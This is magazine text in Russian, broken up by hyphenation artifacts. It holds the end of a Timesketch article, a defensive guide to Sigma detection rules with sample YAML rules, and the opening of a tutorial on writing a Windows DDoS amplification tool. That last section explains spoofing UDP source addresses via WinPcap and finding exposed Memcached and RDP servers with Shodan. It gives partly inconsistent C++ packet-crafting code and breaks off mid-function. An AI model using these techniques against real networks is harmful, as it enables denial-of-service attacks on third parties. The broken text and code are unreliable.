отоко­лиро­ваны как явно сви‐­ детельс­ тву­ющие о  чем‑то необыч­ном, возм­ ожно треб­ ующем вним­ ания. Все анал­ иза­торы находятс­ я в  каталог­ е /timesketch/lib/analyzers и  написа­ны на Python. Сраз­ у посл­ е уста­новк­ и тебе дос­тупны анал­ изат­ оры для: • раб­ оты с  поиск­ овыми запр­ осами, сдел­ ан­ными в  брау­ зер­ е (прич­ ем будет сра­зу видн­ о, где, что и когд­ а искал польз­ ователь); • вы­явлен­ ия активнос­ти, не  попада­ющей в  обыч­ные часы работы поль‐­ зовате­ля за ком­пом (которые тоже опред­ еляе­ тся стат­ ис­тичес­ки); • свя­зыва­ния пос­ледоват­ ельн­ ост­ и событий (напр­ имер, могут быть связ­ аны ска­чанн­ ые и  запущен­ные исполня­емые фай­лы, ско­пиров­ ан­ные и  заар‐­ хивиро­ван­ные для эксфильт­ рац­ ии фай­лы и тому подоб­ное); • пои­ ска сле­дов попыток зачис­тить логи; • анал­ иза подк­ люч­ ений по RDP; • вы­явлен­ ия попыток брутф­ орса паролей. INFO Ре­зуль­таты работы ана­лиза­торов ты можешь най‐­ ти на  вклад­ке Overview. Для  это­го необх­ одимо нажать три вер­тикаль­ные точ­ки на интер­ есую­ щем тебя тай­млайн­ е и выбр­ ать из выпадаю­ ще­го спис‐­ ка Analyzer. Есл­ и понадо­бит­ся, ты и сам можешь созд­ ать новый анал­ иза­тор. Для про­вер‐­ ки его работосп­ особ­ности в  каталог­ е test_tools есть скрипт analyzer_run.py, которо­му для  работы необ­ходимо подать на  вход файл CSV с события­ ми и твой hello_world_analyzer.py. Да­вай пос­мотрим, чем поможет в  нашем кейс­ е встрое­ нный ана­лизат­ ор Chain linked events. Для это­го выберем наш тайм­ лайн, возь­мем соот­ветс­тву‐­ ющий ана­лиза­тор и запуст­ им про­цесс. Для просм­ отра всех свя­зан­ных событий в строк­ е поиск­ а необ­ходимо наб­рать запр­ ос: chains:* Нем­ного прок­рутим ответ и  натк­ немс­ я на  ска­чанн­ ый и  запущен­ный неради‐­ вым польз­ овате­лем исполня­емый файл. У кажд­ ой цепочк­ и событий есть собст­ вен­ный идент­ ификат­ ор, который хра‐­ нитс­ я в  ES в  поле chains  — соот­ветс­твенн­ о, мож­но искать необ­ходимые цепочк­ и по этим иден­тификат­ орам. Stories Вклад­ка Stories поз­воляе­ т тебе и  твои­ м кол­легам опи­сывать набл­ юдае­ мые явле­ния. Соб­ранная сов­мес­тным­ и усил­ иями информа­ция будет вза­имо‐­ допол­няющей, при  необх­ одимос­ти можн­ о вставл­ ять сох­ранен­ные зап­росы, пос­тро­енные граф­ ики и  делать все это  с использ­ ование­ м разм­ етки Markdown. Некото­рые анал­ иза­торы автом­ ати­ческ­ и форм­ ирую­ т истор­ ии по результ­ атам работы. По сути, Stories — это готовые фрагм­ енты будущег­ о отче­та по результ­ атам ана­лиза тай­млайн­ а. ВЫВОДЫ Мы с тобой поз­накомил­ ись с весь­ма крут­ ым инс­трум­ ент­ ом, который поз­воля‐­ ет прев­ратить скучн­ ый ана­лиз файл­ ов CSV в  детек­тивное расс­ ле­дова­ние. В  след­ ующей статье мы расс­ мотр­ им новую тех­нологию Sigma, под­держ­ ка которой бук­вальн­ о на днях появил­ ась в Timesketch, научим­ся писать для нее прав­ ила и попр­ обуе­ м, как в анек­доте, «зас­тавить всю эту хрень взлет­ еть».

COVERSTORY ПРЫЖОК В SIGMAЛЯРНОСТЬ ИСПОЛЬЗУЕМ ПРАВИЛА SIGMA В TIMESKETCH Отс­ леж­ ивать и  детект­ ировать сист­ емные sUzU [email protected] события спе­циалист­ ам по  информац­ ион‐­ ной безопасн­ ости помогаю­ т разн­ ые инс‐­ трум­ ен­ты. В  2016  году в  этом арсен­ але появил­ ась новин­ка, получивш­ ая наз­вание Sigma. Она сэконо­мит твое вре­мя и  зна‐­ читель­но облегчит жизнь, поск­ ольк­ у име­ет мно­жес­тво полез­ных функ­ ций, которые мы сегодн­ я расс­ мот­рим. INFO В тек­сте использ­ уют­ся резуль­таты, полученн­ ые в  стать­ях «Тайм­ лайн все­го. Использ­ уем Plaso для  сбор­ а сис­темных событий» и  «Циф­ровой детект­ ив. Исполь­зуем Timesketch для  работы с тай­млай­нами Plaso». В пре­дыдущ­ их стать­ях мы научи­лись извлек­ ать события раз­лично­го типа из  образ­ а исслед­ уемог­ о компь­ютер­ а, фор­мировать тай­млайн, а  такж­ е нас‐­ трои­ ли сист­ ему совм­ ес­тног­ о ана­лиза и  разоб­рались с  ее базовым­ и воз‐­ можнос­тями. Если ты вни­мательн­ о изу­чил интерфейс Timesketch, то уже понял, что эта штук­ овин­ а может перевар­ ить не тольк­ о файл Plaso, но и абсо‐­ лют­но про­извольн­ ую CSV, содер­жащую тай­млайн событий. Главн­ ое, чтоб­ ы в  ней при­сутс­тво­вали ключ­ евые для  Timesketch поля datetime, timestamp_desc и message. Таким образ­ ом, нам пре­дост­ авля­ется шикар­ная воз­можность добавить в один тай­млайн свед­ ения из разн­ ых источни­ков. Чем боль­ше источни­ков событий (до которых Plaso прост­ о не  имее­ т физичес­кой возм­ ожнос­ти доб­рать­ся) мы соберем, тем более точн­ ую кар­тину про­изо­шед­шего пост­ ро­им. Нап­ример, мы можем заг­рузить в наш скетч логи с  сетевог­ о фай­рво­ла, Surricata или  веб‑прокс­ и, жур­нал событий из  Moloch или  резуль­тат работы сто­рон­них ути­лит, которые могут дать мно­го полез­ной инфы при динами­ческ­ ом выполн­ ении (типа autorunsc). В резуль­тате порой получа­ется довольн­ о насыщенн­ ый тай­млайн, когд­ а на одну минуту инцид­ ен­та прих­ одитс­ я до 250 тысяч событий. И если бы у нас было 250 тысяч сот­рудник­ ов, то совм­ ес­тный ана­лиз был бы быстр и незатей‐­ лив. Реальн­ ость же, к  сожале­нию, такова, что  249  997  человек еще  где‑то надо найт­ и. Од­нако ИБ‑бойц­ ы — это крайн­ е ленивый народ. А лень, как извест­ но, дви‐­ гатель прогр­ есса. Благ­ ода­ря ей у нас появил­ ись станд­ арты и про­токол­ ы ана‐­ лиза инцид­ ен­тов и такие кру­тые инс­трум­ ен­ты, как Yara и Snort, которые живут и разв­ ива­ются за счет колл­ ективн­ ого разума. Не так дав­но свет увид­ ел новый прое­ кт, который называе­ тся Sigma. Давай раз­биратьс­ я, как  он может облегчить нашу жизнь. SIGMA Старт­ овал про­ект в  2016  году, и  год спус­тя на  гитх­ абе появил­ся пер­вый релиз. Созд­ атели позици­онир­ уют свое детище так: «Sigma для  логов  — это  как Snort для  траф­ ика или  Yara для  фай­лов». Задумыв­ ал­ся он в  качес­тве унив­ ерс­ альн­ ого форм­ ата опи­сания пра­вил детек­тирован­ ия, основ­ анн­ ого на  данн­ ых из  логов. Еще  он может слу­жить в  качест­ ве конв­ ертер­ а, который поз­волит перевест­ и эти пра­вила в фор­мат любой под­держи­ваемой SIEM-сис‐­ темы, в том чис­ле сформ­ ировать зап­рос к Elasticsearch (даль­ше буду исполь‐­ зовать сокр­ ащение ES). Этот конв­ ертер работа­ет, если для  него есть соот‐­ ветс­твую­ щий конф­ игура­цион­ный файл, который объя­ сняе­ т Sigma, как перег‐­ нать то или иное пра­вило под конк­ ретн­ ый бэкенд. По сути свое­ й это обыч­ный файл фор­мата YAML, где ука­зывае­ тся соот­ветст­ вие использ­ уемых в пра­вилах полей реальн­ ым дан­ным в бэкенд­ е. Сей­час бла­года­ря стар­ ани­ям заинт­ ересов­ анн­ ых людей в  репози­тории Sigma хра­нитс­ я окол­ о 1200 пра­вил для разл­ ичных ситуа­ ций (что почт­ и на два порядк­ а больш­ е име­ющихс­ я по дефолт­ у ана­лизат­ оров в Timesketch). Данн­ ые прав­ ила позв­ оля­ют задетек­тить всяк­ ую вся­чину, начиная от  исполь­зования mimikatz и обна­руже­ния сле­дов экс­плу­ата­ции ProxyShell в Exchange до выяв‐­ ления след­ ов работы APT-груп­пировк­ и Silence. В  боль­шинст­ ве прав­ ил есть ссылк­ и на соотв­ етст­ ву­ющие тех­ники MITRE. На нашей вирт­ уал­ке с Timesketch конф­ игурац­ ион­ный файл для конв­ ерте­ра хра­нитс­ я по  пути /opt/timesketch/etc/timesketch/sigma_config.yaml. Бла­годар­ я ему Sigma и  работае­ т (или иногд­ а нем­ножко не  работа­ет) с Timesketch. Давай заг­лянем в него. $ nano /opt/timesketch/etc/timesketch/sigma_config.yaml В раз­деле backends мы можем наб­людать все бэкен­ды, с  которым­ и Sigma дол­жна работать, дабы пра­вила завелись на Timesketch: backends: - es-dsl - es-qs - es-qr - es-rule А даль­ше идут два самых больш­ их блок­ а logsources и  fieldmappings, в  которых мап­пятся те самые типы источни­ков логов из  бэкен­да на  кон­крет‐­ ные типы, исполь­зуемые в прав­ илах (посм­ отрим на них ниже). В рам­ках интегра­ции Sigma в  Timesketch раз­работч­ ики напили­ли нам отдель­ный ана­лизат­ ор во вклад­ке Analyzer и чуть меньш­ е месяца назад сде‐­ лали однои­ мен­ную вкладк­ у с возм­ ожностью прос­мотреть и при­менить каж­дое отдельн­ ое пра­вило прям­ о в веб‑интерфей­се. INFO Есл­ и ты пом­нишь, в перв­ ой статье я говорил, что уста­нов­ка Sysmon позв­ оля­ет сущес­твенн­ о упростить жизнь админ­ ам и  кри­мина­лист­ ам. Так вот, в Sigma поч­ти две тре­ти пра­вил для Windows опир­ ают­ся именн­ о на события Sysmon. К сожале‐­ нию, далеко не  все админ­ ы поль­зуют­ся одним из самых крут­ ых инст­ рум­ ен­тов тов. М. Рус­синови‐­ ча. Соот­ветс­твенн­ о, не удивл­ яйс­ я, что очень час‐­ то не  все пра­вила будут давать ожи­даемый детект. Дав­ ай клон­ иру­ем себе про­ект, что­бы даль­ше было прощ­ е раз­бирать­ся. $ git clone https://github.com/SigmaHQ/sigma.git Структура Sigma-правила Все пра­вила лежат в  катало­ге rules (а на  нашей вирт­ уалк­ е в  /opt/ timesketch/etc/timesketch/sigma/rules), опи­сываю­ тся в  файл­ ах YAML и  сос­тоят из  обяз­ атель­ных и  дополн­ ительн­ ых сек­ций. Под­робная спец­ ифи‐­ кация есть в док­ умент­ ации. Да­вай сраз­ у пос­мотрим на  пра­вило windows/process_creation/ win_susp_whoami_anomaly.yml, я на его при­мере пояс­ню некотор­ ые поля. title: Whoami Execution Anomaly # Название правила id: 8de1cbe8-d6f5-496d-8237-5f44a721c7a0 # UUID для однозначной идентификации правила status: experimental description: Detects the execution of whoami with suspicious parents or parameters # Описание в свободной форме references: # Любые ссылки на статьи или whitepaper - https://brica.de/alerts/alert/public/1247926/agent-tesla- keylogger-delivered-inside-a-power-iso-daa-archive/ - https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/ author: Florian Roth # Реквизиты автора правила date: 2021/08/12 # Дата создания modified: 2021/08/26 # Дата модификации tags: - attack.discovery - attack.t1033 - car.2016-03-001 logsource: # Тип источника логов. Основные используемые поля — это product, category и service category: process_creation product: windows detection: # Формирование сигнатуры для детекта selection: Image|endswith: '\\whoami.exe' filter1: ParentImage|endswith: - '\\cmd.exe' - '\\powershell.exe' filter2: ParentImage: - 'C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\ MonitoringHost.exe' - '' filter3: ParentImage: null selection_special: CommandLine|contains: - 'whoami -all' - 'whoami /all' - 'whoami.exe -all' - 'whoami.exe /all' condition: ( selection and not filter1 and not filter2 and not filter3 ) or selection_special # Итоговая сигнатура falsepositives: # Опциональное поле, в котором стоит отражать ситуации, когда может быть ложное срабатывание - Admin activity - Scripts and administrative tools used in the monitored environment - Monitoring activity level: high # Уровень важности low, medium, high или critical А теперь загл­ янем, что за logsource category: process_creation в файл­ е sigma_config.yaml. title: Timesketch Sigma config order: 20 backends: - es-dsl - es-qs - es-qr - es-rule logsources: ... process_creation: category: process_creation product: windows conditions: EventID: - 1 - 4688 source_name: - \"Microsoft-Windows-Sysmon\" - \"Microsoft-Windows-Security-Auditing\" - \"Microsoft-Windows-Eventlog\" fieldmappings: Image: NewProcessName ParentImage: ParentProcessName ... Из прив­ еден­ного фрагм­ ента вид­но, что прав­ ило в качест­ ве источник­ а данн­ ых исполь­зует логи Sysmon и станд­ ар­тные жур­налы Windows, а имен­но eventID 1 или  4688. Это  непос­редст­ вен­но те источни­ки дан­ных, в  которых в  пер­вой статье копалс­ я Plaso и которые потом были заг­ружены в дан­ном виде в ES. Ес­ли вдруг то или  иное прав­ ило отказ­ ывае­ тся заводить­ся на  Timesketch, убе­дись, что в файл­ е кон­фигурац­ ии есть мап­пинг для всех logsource, которые в нем использ­ уют­ся, и по необ­ходимост­ и добавл­ яй свой. INFO Ког­да будешь писать свои собс­твенн­ ые прав­ ила, для того чтоб­ ы они работа­ли на дру­гих SIEM-сис‐­ темах, необ­ходимо сле­довать тре­бова­ниям, опи‐­ санн­ ым на Wiki прое­ кта. В итог­ е это пра­вило улет­ ит на бэкенд Timesketch в след­ ующем виде: ((data_type:\"windows\\:evtx\\:record\" AND event_identifier:(\"1\" OR \"4688\") AND source_name:(\"Microsoft\\-Windows\\-Sysmon\" OR \"Microsoft\\- Windows\\-Security\\-Auditing\" \\ OR \"Microsoft\\-Windows\\-Eventlog\")) AND ((data_type:\"windows\\:evtx\\: record\" AND event_identifier:(\"1\" OR \"4688\") AND source_name:( \"Microsoft\\-Windows\\-Sysmon\" \\ OR \"Microsoft\\-Windows\\-Security\\-Auditing\" OR \"Microsoft\\-Windows\\- Eventlog\") AND ((xml_string:*\\\\whoami.exe AND (NOT (ParentImage:(*\\\\ cmd.exe OR *\\\\powershell.exe)))) \\ AND (NOT (ParentImage:(\"C\\:\\\\Program\\ Files\\\\Microsoft\\ Monitoring\\ Agent\\\\Agent\\\\MonitoringHost.exe\" OR \"\")))) AND (NOT (NOT _exists_: ParentImage))) OR xml_string:(*whoami\\ \\-all* \\ OR *whoami\\ \\/all* OR *whoami.exe\\ \\-all* OR *whoami.exe\\ \\/all*))) В принц­ ипе, ничего сложн­ ого. Давай теперь давай вер­немся к нашему кей­су. Детектим очистку логов Есл­ и пом­нишь, в  пред­ ыдущ­ их стать­ях мы убе­дились в  том, что кри­вору­кие попыт­ки зачис­тить за собой логи мало того что не сильн­ о помогаю­ т быть кру‐­ тым нин­дзей, а  наобо­рот, слу­жат оче­ред­ным «трев­ ожн­ ым звон­ оч­ком» для анал­ итик­ а. Дав­ ай закинем след­ ующее прав­ ило в Timesketch: $ sudo nano /opt/timesketch/etc/timesketch/sigma/rules/win_susp_ security_eventlog_cleared.yml title: Security Eventlog Cleared id: f2f01843-e7b8-4f95-a35a-d23584476423 description: Some threat groups tend to delete the local 'Security' Eventlog using certain utitlities tags: - attack.defense_evasion - attack.t1070 - car.2016-04-002 author: Florian Roth date: 2017/02/19 logsource: product: windows service: security detection: selection: EventID: - 517 - 1102 condition: selection falsepositives: - Rollout of log collection agents (the setup routine often includes a reset of the local Eventlog) - System provisioning (system reset before the golden image creation) level: high Сохр­ аним его, затем перебе­рем­ся в бра­узер, открое­ м наш скетч и перей­дем во вклад­ку Sigma. Как видишь, наше тольк­ о что добавл­ енное прав­ ило уже тут. Прав­ ило добавл­ ено в Sigma Пер­ ей­дем во  вклад­ку Analyze и  нат­равим анал­ изат­ ор Sigma со  всем­ и пра‐­ вила­ми, которые в  него сейч­ ас добавл­ ены, на  наш тай­млайн. Ждем пару мгно­вений и смотр­ им на результ­ ат. Рез­ уль­тат анал­ иза Так и есть, мы успешно обнар­ ужил­ и, что логи чист­ или. Ког­да ана­лиза­тор находит в  ES под­ходящий документ, он обновля­ет его, добав­ляя новое поле ts_sigma_rule, в  котором записыв­ ает имя сра­ботав‐­ шего прав­ ила, а  такж­ е внос­ ит в  поля tag и  ts_ttp данн­ ые из  раз­дела tags нашего пра­вила. Соотв­ етс­твенн­ о, эти поля ста­новятс­ я дос­тупным­ и для поис‐­ ка и агрег­ ации во вклад­ке Aggregate. Доб­ ав­ленные поля Те­перь мож­но сра­зу посм­ отреть, что же интер­ есн­ ого нашл­ ось, с  помощью прос­тых зап­росов в стро­ке поиск­ а, напр­ имер такого: ts_sigma_rule:* tag:* Пон­ ят­ное дело, ана­лизи­ровать такой объ­ем информа­ции нам­ного ком­фор‐­ тнее, чем смот­реть на сот­ни тысяч ивен­тов, которые пред­стал­ и твое­ му взо­ру понача­лу. Кром­ е того, без  запус­ка ана­лиза­тора мож­но открыть каж­дое отдельн­ ое пра­вило во  вклад­ке Sigma и  нажать кнопк­ у Search. Прав­ ило авто­мати­чес­ки будет подс­ тавл­ ено в стро­ку поиск­ а и покажет тебе подх­ одящие события. Верификация новых правил Чтоб­ ы про­верить, будет ли корр­ ек­тно работать най­ден­ное на прост­ орах сети или написанн­ ое тобой пра­вило в кон­крет­ной сист­ еме, в Sigma пред­ усм­ отрен отдельн­ ый инст­ ру­мент, который находитс­ я в  катало­ге tools и  называ­ется sigmac. $ python3 sigmac -t es-qs --config /opt/timesketch/etc/timesketch/ sigma_config.yaml /opt/timesketch/etc/timesketch/sigma/rules/win_ susp_security_eventlog_cleared.yml В качес­тве парамет­ра t ука­зывае­ тся исполь­зуемый бэкенд (в слу­чаях, когд­ а ты кон­вертир­ уешь пра­вило под  свою SIEM-сист­ ему, зна­чение дол­жно быть соотв­ етс­твую­ щим), далее переда­ется конф­ игурац­ ионн­ ый файл конв­ ерте­ра и  посл­ едним парамет­ром само прав­ ило. Пред­ усм­ отрен­ а про­верк­ а сраз­ у целого каталог­ а с прав­ ила­ми. Не забывай, когд­ а изме­няет­ся файл кон­фигура­ции кон­верте­ра или модер‐­ низиру­ются сами пра­вила, обяз­ ательн­ о их переп­роверять. Как  говорит­ся, семь раз отмерь. Дальнейшие инструкции К сожален­ ию, прос­то скоп­ иров­ ать скоп­ ом все прав­ ила в Timesketch и запус‐­ тить анал­ иза­тор не  вый­дет. Дви­жок Sigma весьм­ а про­жор­лив, и  у некото­рых пра­вил могут воз­никнуть проб­лемы с интегра­цией в Timesketch (обычн­ о из‑за отсутс­твия нужн­ ых logsource). Поэто­му лучш­ е пройт­ ись по  списк­ у прав­ ил и целенап­равлен­но выбирать те из них, которые подой­дут к конк­ ретн­ ому кей‐­ су. И  уже посл­ е про­вер­ки с  использ­ овани­ем sigmac закиды­вать их в Timesketch. Ведь, нап­ример, если на исслед­ уемой сист­ еме не был уста­нов‐­ лен Sysmon, нет нуж­ды трат­ ить вре­мя на запуск соот­ветс­тву­ющих прав­ ил. Где‑то с год назад ребята из Positive Technologies написа­ли отличный рус‐­ ско­язычн­ ый гайд по раз­работ­ке Sigma-пра­вил (статья раз, статья два, статья три). Если хочешь научитьс­ я разб­ иратьс­ я в  нерабо­тающих прав­ илах и научитьс­ я писать работа­ющие самос­тоятель­но — обя­затель­но про­читай эти статьи. Дальш­ е, как и в любом деле, пот­ребуе­ тся опыт. А его, прост­ о читая инте‐­ рес­ные статьи, набиратьс­ я сложн­ овато. Чтоб­ ы набить руку, тебе прид­ ет­ся неод­нократ­но «воочию уви­деть» те или иные события, их груп­пы и теги. Есть весь­ма полез­ные ре­позит­ ории, где люди спе­циаль­но склад­ ываю­ т записи событий, которые прои­ сход­ ят во  врем­ я того или  ино­го инцид­ ент­ а. Изуч­ ать спос­ обы их выявл­ ения  — один из  самых прост­ ых путей зарабо­тать необх­ одимый опыт. Так что запус­кай Plaso, загр­ ужай результ­ аты в Timesketch и пиши пра­вила для их детек­та. И не забывай потом ком­митить их в прое­ кт. :) Кром­ е того, Sigma можн­ о при­менить и по пря­мому наз­начению — под­клю‐­ чив к SIEM-сис­теме, которой ты, воз­можно, польз­ уешьс­ я. ЗАКЛЮЧЕНИЕ Я наде­юсь, что посл­ е проч­тения цикл­ а дан­ных ста­тей у  кого‑то из  админ­ ов по безопас­ности появитс­ я врем­ я на лиш­них две чашк­ и кофе в день. Кому‑то из бра­вых бой­цов с шевр­ оном DFIR стан­ ет немн­ ого лег­че жить, а кто‑то, воз‐­ можно, возьм­ ет и пришь­ет такой шевр­ он себе на рукав, и HR-отде­лу оста­нет‐­ ся отыск­ ать все­го 249 996 недост­ ающих человек. ;) До новых встреч!

ВЗЛОМ ОБХОДИМ RAW SECURITY И ПИШЕМ DDOS-УТИЛИТУ ДЛЯ WINDOWS Yuriy Sierpinskiy DDOS [email protected] С УСИЛЕНИЕМ Про­ходят годы, а  DDoS остае­ тся мощ­ным инс­трум­ ен­том хакерс­ ких груп­пировок. Ежед­невно в мире про­исход­ ит 500– 1000 атак такого типа. Каж­дый раз злоу­ мышл­ енник­ и находят новые уязв­ имос­ти в популяр­ных сер­висах, которые позв­ оля‐­ ют про­водить атак­ и «с уси­лени­ем». Раз­работ­чики Windows активно борютс­ я с  этим, усложняя жизнь хакерам и  отсе­кая вред­ онос­ные зап­росы на  сист­ емном уров­не. Мы сегодн­ я погово­рим о том, как эти прег­рады обхо­дят. WARNING Статья носит озна­коми­тельн­ ый характ­ ер. Автор и  редак­ция не  несут ответст­ венн­ ости за  любой вред, при­чиненн­ ый с исполь­зование­ м полученн­ ой из  нее информа­ции. Прежд­ е чем про­водить наг‐­ рузочн­ ое тест­ ирова­ние веб‑сай­та, необх­ одимо зак­лючить пись­мен­ное согл­ ашение с его влад­ ель‐­ цем. В прот­ ивн­ ом слу­чае нарушен­ ие работы сис‐­ темы может прес­ледоватьс­ я по закону. Как вид­но из  стат­ ис­тики, наибо­лее рас­простран­ енн­ ый век­тор  — это  атак­ и на серв­ исы (или с исполь­зовани­ем серв­ исов), которые исполь­зуют прот­ окол UDP. Здесь все очень прос­то. UDP, в отли­чие от дру­гих прот­ окол­ ов, не треб­ ует сес‐­ сии, а  ответ на  зап­росы отправ­ляет­ся немед­ленно. В  этом основ­ а ата­ки «с усил­ ени­ем». Мы можем фор­мировать запр­ осы к  некотор­ ым сер­висам таким образ­ ом, чтоб­ ы ответ был в десят­ки раз боль­ше, чем сам запр­ ос. Соот­ветс‐­ твен­но, если эти отве­ты будут перенап­равлен­ ы на машину жерт­ вы, атак­ ующий смож­ ет генери­ровать траф­ ик невероя­ тной мощ­ности. Что­бы пред­ отв­ ра­тить такого рода атак­ и, разр­ аботч­ ики из  Microsoft уста‐­ нови­ли огра­ниче­ния на манипу­лиро­вание пакета­ми. WWW Подр­ обност­ и в докумен­тации Microsoft. Обр­ ати вни­мание на этот пункт документ­ ации. Пря­мо заяв­лено, что ОС не  поз­волит отправл­ ять UDP-пакеты с  полем IP- адре­са под­дель­ного отправ­ ител­ я. Зач­ ем нам это  нуж­но? Дело в  том, что тра­фик, который мы получае­ м от  уязв­ имых отве­тов служб, может быть каким‑то обра­зом перенап­равлен на сер­веры жертв. А это­го можн­ о добитьс­ я, прост­ о изме­нив IP-адрес отпра‐­ вител­ я в заголов­ке UDP-пакета. Тог­да уязв­ имый серв­ ер подумае­ т, что зап­рос пос­тупил с компью­ тер­ а жерт­ вы, и отправ­ ит на него ответ. Кто не  знак­ ом со  структ­ урой пакета UDP, может пос­мотреть на  таб­личку ниже. Там ничего особ­ ен­ного нет, форм­ ирован­ ие самого пакета мы раз‐­ берем позж­ е. User Datagram Protocol Собст­ венн­ о, из документ­ ации понят­но, что станд­ ар­тные инст­ ру­мент­ ы и биб‐­ лиотек­ и Windows не  позв­ оляю­ т под­делывать адрес отпра­вител­ я. Для  про‐­ веден­ ия DDoS это  нуж­но обой­ти, и  на помощь злод­ ею или  жела­юще­му про‐­ вес­ти наг­рузоч­ный тест при­ходит такая волш­ ебная вещь, как WinPcap. С WinPcap мож­но форм­ ировать пакеты отправ­ки незави­симо от  инс­тру‐­ мент­ ов Windows. И это не прос­то библ­ иотек­ а для обра­бот­ки пакетов для C++, а собст­ венн­ ый драйв­ ер NPF. Есл­ и вкрат­це, то это работа­ет так. Мы можем устан­ овить кас­томный драй­вер прот­ око­ла, при  написа­нии прог­раммы мы будем ссыл­ атьс­ я на  него. Оттуд­ а пакеты будут передав­ ать­ся на  драйв­ ер Network interface card (NIC) и  идти даль­ше по сети. Таким обра­зом мы смо­жем полн­ остью кон­трол­ иро­вать про‐­ цесс созд­ ания и инкапсул­ яции пакетов. ИЩЕМ УЯЗВИМЫЕ СЕРВЕРЫ Для поиск­ а уяз­вимых серв­ еров широко использ­ уетс­ я поиск­ овик Shodan. Давай для прим­ ера попр­ обуе­ м най­ти серв­ еры Memcached, которые исполь‐­ зовались для  атак­ и на  Github неск­ ольк­ о лет назад. Ввод­ им product: \"Memcached\" и видим, что серв­ еров оста­ется все еще очень мно­го. Раз­работч­ ик испра­вил уязв­ имость и теперь порт, назн­ ачен­ный по умол­чанию, заменен с  11211  на  TCP. Но, несм­ отря на  это, в  интернет­ е оста­лись тысячи уязв­ имых серв­ еров. У Shodan есть филь­тры, которые помогаю­ т искать необх­ одимые сер­висы и  серв­ еры. Для  прак­тики можн­ о поп­робовать найт­ и сер­висы RDP с  порт­ ом UDP/3389, которые так­же уязв­ имы для  атак ампли­фика­ции (с коэф­фици‐­ ентом 85,9:1). РАЗРАБОТКА Мы можем соз­дать прогр­ амму для  экс­плу­ата­ции уяз­вимос­ти сер­веров Memcached, DDoS с усил­ ение­ м. Прежд­ е все­го нужн­ о наст­ ро­ить рабочую сре‐­ ду. • Ус­танавл­ ивае­ м необ­ходимый драй­вер (есть вер­сия для  Windows 10, она под­держив­ ает боль­ше интерфей­сов). • Ска­чивае­ м биб­лиотек­ у Winpcap Developers Pack. • Подк­ лю­чаем библ­ иотек­ у в прое­ кт. Файл­ ы с заголовк­ ами Макр­ осы В самом про­екте я использ­ овал след­ ующие модули: #define _ALLOW_KEYWORD_MACROS // Отключить предупреждение #include <winsock2.h> // Здесь нужные нам функции, такие как htons() htonl() #pragma comment (lib,\"WS2_32.lib\") #include <Iphlpapi.h>// Поможет нам найти информацию про сетевые адаптеры и их характеристики #pragma comment (lib,\"Iphlpapi.lib\") #include <pcap/pcap.h> // Собственно, WinPcap #pragma comment (lib,\"wpcap.lib\") #include <iostream> // Здесь нам нужна функция sprintf() #include <stdio.h> #include <thread> #define HOST sin_addr.S_un.S_addr // Переменные для пакета using namespace std; Пер­ ей­дем к  главн­ ой задаче прогр­ аммы  — форм­ ирова­нию пакетов. Пой­дем по пунк­ там. Фун­кция выбора интерфейс­ а, из которог­ о будут пост­ упать пакеты string devices[15]; void ShowDeviceList(void) { char Error[PCAP_ERRBUF_SIZE]; pcap_if_t* Devices; pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &Devices, Error); int i = 1; for (pcap_if_t* CurrentDevice = Devices; CurrentDevice != NULL; CurrentDevice = CurrentDevice->next) { devices[i] = CurrentDevice->description; //string a = CurrentDevice->description; //cout << i << \". \" << a << endl; i++; } } Да­лее ты можешь вывес­ти их удобн­ ым спо­собом, выб­рать и  использ­ овать для отправ­ки. Напр­ имер, в моей прог­рамме это выгл­ ядит как на скрин­шоте ниже. Функ­ ции фор­мирова­ния UDP-пакета unsigned char* FinalPacket; unsigned int UserDataLen; unsigned short BytesTo16(unsigned char X, unsigned char Y) { unsigned short Tmp = X; Tmp = Tmp << 8; Tmp = Tmp | Y; return Tmp; } unsigned int BytesTo32(unsigned char W, unsigned char X, unsigned char Y, unsigned char Z) { unsigned int Tmp = W; Tmp = Tmp << 8; Tmp = Tmp | X; Tmp = Tmp << 8; Tmp = Tmp | Y; Tmp = Tmp << 8; Tmp = Tmp | Z; return Tmp; } unsigned char* MACStringToBytes(LPSTR String) { char* Tmp = new char[strlen(String)]; memcpy((void*)Tmp, (void*)String, strlen(String)); unsigned char* Returned = new unsigned char[6]; for (int i = 0; i < 6; i++) { sscanf(Tmp, \"%2X\", &Returned[i]); memmove((void*)(Tmp), (void*)(Tmp + 3), 19 - i * 3); } return Returned; } unsigned short CalculateIPChecksum(UINT TotalLen, UINT ID, UINT SourceIP, UINT DestIP) { unsigned short CheckSum = 0; for (int i = 14; i < 34; i += 2) { tools tool2; unsigned short Tmp = tool2.BytesTo16(FinalPacket[i], FinalPacket[i + 1]); unsigned short Difference = 65535 - CheckSum; CheckSum += Tmp; if (Tmp > Difference) { CheckSum += 1; } } CheckSum = ~CheckSum; return CheckSum; } unsigned short CalculateUDPChecksum(unsigned char* UserData, int UserDataLen, UINT SourceIP, UINT DestIP, USHORT SourcePort, USHORT DestinationPort, UCHAR Protocol) { unsigned short CheckSum = 0; unsigned short PseudoLength = UserDataLen + 8 + 9; //Length of PseudoHeader = Data Length + 8 bytes UDP header (2Bytes Length,2 Bytes Dst Port, 2 Bytes Src Port, 2 Bytes Checksum) //+ Two 4 byte IP's + 1 byte protocol PseudoLength += PseudoLength % 2; // If bytes are not an even number, add an extra. unsigned short Length = UserDataLen + 8; // This is just UDP + Data length needed for actual data in udp header unsigned char* PseudoHeader = new unsigned char[PseudoLength]; for (int i = 0; i < PseudoLength; i++) { PseudoHeader[i] = 0x00; } PseudoHeader[0] = 0x11; memcpy((void*)(PseudoHeader + 1), (void*)(FinalPacket + 26), 8); // Source and Dest IP Length = htons(Length); memcpy((void*)(PseudoHeader + 9), (void*)&Length, 2); memcpy((void*)(PseudoHeader + 11), (void*)&Length, 2); memcpy((void*)(PseudoHeader + 13), (void*)(FinalPacket + 34), 2); memcpy((void*)(PseudoHeader + 15), (void*)(FinalPacket + 36), 2); memcpy((void*)(PseudoHeader + 17), (void*)UserData, UserDataLen); for (int i = 0; i < PseudoLength; i += 2) { tools tool2; unsigned short Tmp = tool2.BytesTo16(PseudoHeader[i], PseudoHeader[i + 1]); unsigned short Difference = 65535 - CheckSum; CheckSum += Tmp; if (Tmp > Difference) { CheckSum += 1; } } CheckSum = ~CheckSum; //One's complement return CheckSum; } void SendPacket(pcap_if_t* Device) { char Error[256]; pcap_t* t; t = pcap_open(Device->name, 65535, PCAP_OPENFLAG_DATATX_UDP, 1, NULL, Error);//FP for send 